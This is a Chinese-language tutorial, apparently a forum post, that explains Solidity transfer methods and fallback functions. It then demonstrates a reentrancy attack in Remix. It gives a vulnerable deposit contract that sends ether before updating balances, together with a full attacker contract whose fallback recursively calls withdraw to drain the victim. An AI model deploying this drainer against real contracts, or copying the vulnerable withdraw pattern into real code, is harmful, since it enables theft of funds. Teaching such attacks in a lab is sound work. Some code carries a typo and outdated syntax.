前置知识点:
1.Solidity的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗gas(燃料)。如果gas消耗完了(剩余2300gas时)但合约没有执行完成,合约状态会回滚。
2. 几种转币方法:
addr.transfer()
- 当发送失败时会 throw; 回滚状态
- 只会传递 2300 gas 供调用,防止重入
addr.send()
- 当发送失败时会返回 false
- 只会传递 2300 gas 供调用,防止重入
addr.call.value()
- 当发送失败时会返回 false
- 传递所有可用 gas 进行调用。存在重入漏洞(可使用gas(gas_value)进行限制)
3.Solidity中函数递归调用栈(深度)不能操作 1024层。
4.回退函数fallback()回退函数将会在智能合约的call中被调用。
pragma solidity ^0.4.19;
contract Demo{
uint count;
function () { // fallback 函数为匿名函数,一个合约实例有且只有一个,函数没有参数和返回值。
count++; // 当外部账户或其他合约向该合约地址发送 ether 时,fallback函数会被调用。
} // 当外部账户或其他合约调用了该合约一个不存的函数时,fallback函数会被调用。
function Demo(){ // Solidity 5.0版本后 不再规定构造函数与合约类同名
count = 0;
}
}
5.require 和 assert 、revert 、throw
require 、assert 都用于检查条件,并且在不满足条件的时候抛出异常。
revert 、throw 都是标记错误并恢复当前调用,但Solidity在4.10开始引入 revert(),assert(),require()函数。
深入理解参考文章
6.payable 标识的函数。函数上增加payable标识,即可接受 ether,并且会把ether存在当前合约。
7.Solidity的函数修改器(Function Modifiers),关键字Modifiers。函数修改器可方便控制函数的逻辑。比如可以在某个函数执行前检查某个前置条件。
详细解释
还原场景模拟攻击:
创建合约AMoney,合约AMoney可以保存用户在合约里存入的 ether
pragma solidity ^0.4.19;
contract AMoney{
mapping(address => uint256) balances; //创建字典 用户地址key,用户存入ether为value
// 存入 ether 到AMnoey合约中
function deposit() payable public {
balances[msg.sender] += msg.value;
}
// 查看当前调用者在AMoney合约中的ether数
function getMoney() public returns(uint256){
return balances[msg.sender];
}
// 查看目标用户中存如AMoney合约中的ether数
function getMoney(address add) returns(uint){
return balances[add];
}
// 用户从AMoney合约中取出 ether
function withdraw(address add, uint amount){
// 判断用户在当前合约中存入的 ether数是否大于 要取出的 ether数
require(balances[add] > amount);
// 向用户地址发送 ether
add.call.value(amount)();
// AMnoey合约中 减去取出的 ether
balances[add] -= amount;
}
}
创建攻击合约Battach,以太坊中存在两种账号,一种是合约账号,一种外部账号(EOA)。这里我们利用前置知识点4特性攻击上面的合约AMoney,循环取走合约里所有的ether。
pragma solidity ^0.4.19;
contract Battach{
address amoney;
address owner;
uint256 money;
modifier ownerOnly {
require(owner == msg.sender);
_;
}
// 构造函数初始化合约所有者的地址
function Battach() payable {
owner = msg.sender;
money = msg.value;
}
// 保存AMoney合约的地址 以备后续调用
function setAddre(address add) public{
amoney = add;
}
//开始攻击合约AMoney
function startattach() ownerOnly payable{
// 向合约AMoney中存入 ether
amoney.call.value(msg.value)(bytes4(keccak256("deposit()")));
// 从合约AMoney中取出 存入的 ether/2 ,这里使用的是call 所以会调用 fallback
amoney.call(bytes4(keccak256("withdraw(address,uint256)")),this,money/2);
}
// 销毁合约,相当于C++里的析构
function stopattach() ownerOnly{
selfdestruct(owner);
}
// fallback 函数
function () payable{
// 这里是为了判断调用栈地址是否为 AMoney
if(msg.sender == amnoey){
// 从合约AMoney中取出 ether,然后继续调用 fallback函数。相当于递归。
amoney.call(bytes4(keccak256("withdraw(address,uint256)")),this,msg.value);
}
}
}
使用Remix IDE 模拟攻击操作:
1.选中一个账号
2.创建合约AMoney
3.存入 50 ether

4.选中第二个账号
5.输入20 ether
6.创建合约Battach

7.复制合约AMoney地址到setAddre中注意添加引号“0x00000”
8.启动startattach函数,递归取出存在AMoney合约中的 ether
9.复制合约battach地址到合约AMoney 中getMoney函数处,查看攻击合约中有多少 ether

链接:
7c7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0A6j5$3E0Y4M7X3q4&6i4K6u0W2L8h3g2Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6g2Q4x3V1j5I4y4#2)9J5c8X3g2@1K9r3g2J5k6i4g2E0i4K6u0V1M7$3#2S2M7Y4c8Q4x3X3c8U0L8$3&6@1M7X3q4U0N6s2y4Q4x3X3c8$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8W2M7#2)9J5k6s2u0W2N6X3W2W2N6#2)9J5c8R3`.`.
https://bbs.pediy.com/thread-228422.htm
32eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5i4m8W2M7W2)9J5k6i4y4W2k6h3u0#2k6#2)9J5k6h3!0J5k6#2)9J5c8U0j5K6x3g2)9J5c8W2)9J5x3K6b7I4i4K6u0V1M7s2u0A6N6X3q4@1k6h3u0S2L8X3D9`.
[培训]科锐逆向工程师培训第53期2025年7月8日开班!